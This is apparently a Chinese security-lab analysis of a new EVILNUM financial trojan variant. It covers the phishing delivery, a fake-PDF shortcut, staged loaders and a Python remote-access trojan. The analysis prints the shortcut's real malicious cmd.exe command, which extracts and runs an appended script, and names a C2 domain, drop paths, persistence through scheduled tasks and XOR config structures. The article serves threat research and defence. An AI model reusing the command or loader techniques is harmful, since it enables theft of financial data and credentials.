快捷方式暗藏玄机，金融木马EVILNUM再次变种

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

咨询

⁹⁹⁺

快捷方式暗藏玄机，金融木马EVILNUM再次变种

安全豹 2020-07-23 09:56:27 213951

概述

近期金山毒霸安全实验室监控到金融木马EVILNUM新变种。样本携带的诱饵PDF由英国能源公司first-utility的PDF账单、银行卡、驾照图片组成，如下图所示。通过诱饵文件内容进行关联，发现此批样本创建时间均为2018-02-13 07:29:00，出现时间集中在2020年4月至今，早期版本攻击类型LNK+JSRAT方式，从5月开始出现LNK+JS+PE+PYTHONRAT的攻击方式。通过对其JSLoader关联分析，确定其为EVILNUM新变种。

演变历程：

根据情报，EVILNUM最早可以追溯到2018年。其显著特征是使用LNK文件进行攻击，末端载荷多采用脚本实现，通过JS+外部工具的方式窃取情报，其脚本可能会加载多家恶意软件即服务（MaaS）提供商的后门程序以及c#恶意组件，过去其攻击流程中的C2均采用云盘、社交网站、图床一类的网站作为信息存储，此次捕获的样本采用了一些比较有迷惑性的域名，如CRM、VOIP等服务类关键字域名进行伪装。

传播方式：

样本通过鱼叉式电子邮件发送，其中包含指向云盘上托管的ZIP文件的链接，压缩文件内包含LNK攻击文件，其诱饵文件为金融机构开设新帐户时需要提供的截图文件。

攻击目标：

Evilnum集团的主要目标是金融技术公司，监视并窃取目标公司及其客户的财务信息。重点窃取金融文档和凭据:

客户清单，投资和交易操作的电子表格和文档

内部文档

交易软件/平台的软件许可和凭证

浏览器的Cookies

邮件凭证

信用卡信息和身份证明文件

正文

该样本目前更新活跃，其Loader和攻击载荷也在不断迭代，行文分析样本为7月最新。样本伪装成PDF图标，实则为快捷方式LNK文件，运行后通过解析LNK自身携带的数据，释放出账单PDF并打开以迷惑用户，同时释放出伪装成java程序的ddpp.exe并创建计划任务，待计划任务启动ddpp.exe后样本通过对自身携带的部分数据进行解密执行后与crm-domain.net通讯，通过云控手段获取下一步操作，现阶段取得得数据经过解密执行后释放出fplayer.exe该文件伪装成NVDIA驱动相关程序，通过计划任务持久化，fplayer.exe经过多次解密最终与云端通讯，现阶段获取得数据经过解密后其行为为内存加载exe操作，其加载程序为py2exe打包得python程序，通过对该程序解包、反混淆、反编译，最终得到其python源码为远控程序。

木马文件落地部分攻击流程如上图所示，木马实际为伪装成PDF的LNK文件，攻击流程采用多段式加载，多种对抗，包含多个云控接口，可根据云控灵活配置升级，行文将通过四部分进行叙述。

一、LNK执行阶段

C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "VerificationDocuments.pdf.lnk" "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"

LNK启动后将自身移动到temp目录下1.lnk，此后通过标记"END2"提取出附加的JS脚本并执行。

JS脚本运行后，获取APPDATA路径，拼凑释放路径，如图1。

图1

从1.LNK读取偏移2505-684612位置的PDF文件释放，并运行，以达到伪装效果。如图2。

图2

将自身拷贝到%appdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js再次运行，通过判断脚本所在目录决定是否释放PE，条件满足则读取1.lnk偏移687117-262144之间的数据释放PE文件。并为其创建计划任务。如图3。

图3

释放PE后，脚本对LNK、JS、相关工作目录进行自删除，至此JS执行完毕，LNK阶段工作执行完毕。

二、ddpp.exe执行阶段

ddpp.exe在当前执行阶段起升级部署作用，在分析时云控代码执行的行为为部署fplayer.exe,其内部代码经过充分伪装，静态查看与JAVA进程非常接近，内部API调用采用底层调用方式，对抗API断点，长时间Sleep对抗反沙箱。

ddpp启动后读取自身偏移0x9526处的数据，进行解密，解密后数据如图4。

图4

由于其解密方式与下文fplayer.exe中代码解密方式一致，限于篇幅，故此处暂略过解密过程，下文叙述其解密规则。解密完成后将代码按照其配置分段拷贝到堆空间指定位置处，之后对地址进行重定位，计算API地址填充修复，最终创建线程执行解密后的代码。如图5。

图5

代码执行后，获取命令行参数，根据参数构建通讯GET请求。通过GET方式获取云控数据。如图6。

图6

通过加载云控逻辑，释放fplayer.exe到%appdata%\Microsoft\Media Player\Player\下，该程序与ddpp.exe类似伪装成英伟达驱动相关程序，其实际工作内容仍然靠云控下发。图7为文件释放并为其创建计划任务启动。

图7

至此ddpp.exe云控代码执行完成后退出，fplayer最终承载了工作任务的加载，ddpp现阶段云控下发功能只是部署升级，整体流程如图8。

图8

三、fplayer.exe执行阶段

fplayer.exe与ddpp.exe有诸多相似之处，上文未提及配置信息数据结构，将在此节叙述。相比ddpp,fplayer请求接口有变更，参数更少。其作用为整个攻击链条的末端载体。

fplayer启动后读取自身0x9b偏移处信息，解密并将其按配置向堆空间中部署，如图9。

图9

其配置头部结构如下：

struct EncryptInfo
{
    byte xorKeyLength;
    char keyTable[xorKeyLength];
    DWORD dataSize;
    char dataBegin[dataSize];
}

其后续代码根据key表对data进行循环异或解密数据，程序中字符串相关解密操作也遵循此方式。

数据起始位置记录着相关代码和函数信息，结构如下：

struct DataInfo
 {
     byte unKnown;
     DWORD codeImageBase;
     DWORD unKnown1;
     DWORD codeEpOffset;
     DWORD codeTableCount;
     DWORD codeInfoOffset1;
     DWORD codeInfoOffset2;
     ...
 }

转到codeInfo结构，其配置对应的是需要内存执行的代码信息。如下图，结构如下：

struct CodeInfo
{
    byte  index;
    DWORD codeCopyOffset
    DWORD codeSize;
    DWORD unKnown;
    char codeBegin[codeSize];
}

与ddpp类似在堆中指定位置部署好代码之后，创建线程执行堆代码。相似过程不在赘述。以上配置结构适用于云端下发配置信息结构。

堆空间代码执行后，获取命令行参数，构建GET请求，获取最新云端指令。如图10。

图10

通过解析云端配置，最终加载内存PE，如图11。该PE为py2exe打包的python程序，其字节码进行了混淆，对抗反编译，通过反混淆，最终获得其携带脚本，下文将对py2exe程序展开分析。

图11

四、PythonRat加载执行阶段

通过dump内存获取其原始加载程序，经过分析其为py2exe打包的python程序，通过对其资源处理获取被打包的pyc脚本，经过反混淆处理后，反编译后如图12。

图12

脚本通过zlib和base64处理后进一步执行，通过进一步分析，此处为一python包装器，其核心功能为解析自身压缩数据，最终通过memimporter将main.pyc和其他依赖库加载在内存中执行。如图13、14。

图13

图14

至此到达核心工作流程，通过对memimporter相关数据反混淆、反编译，最终确定其核心流程为远控木马，木马与以下地址通讯，获取指令执行。如图15。

图15

木马采用http协议通讯，具有截屏、命令执行、反向SSH Shell、进程操作、文件操作、注册表操作等功能。图16为远控简要工作流程。

图16

下表为远控包含的部分工具类函数表，通过函数名称，不难看出，远控功能丰富，扩展性极强，拥有多种持久化方式和多种命令控制方式。

总结

此EVILNUM变种木马，攻击流程采用多段式加载，多层次内存装载PE，包含多个云控接口，通过休眠、混淆、云端指令随机化等对抗分析查杀，作者精心构造了多个loader，甚至最终内存加载的py2exe启动后仍然还是内存加载pyc执行，可谓是煞费苦心，分析过程中木马成活跃状态，不断有新的C2加入，截止报告完成时间，有多个C2地址注册时间未超过一个月。其最终攻击载荷使用python开发，开发成本低，还会在一定程度上干扰溯源准确性，从反编译结果观察，部分功能尚未完善，仍在加入新功能。金山毒霸安全实验室提醒用户，不要点击来历不明的邮件、压缩包，从而可以降低用户隐私信息被盗取的风险。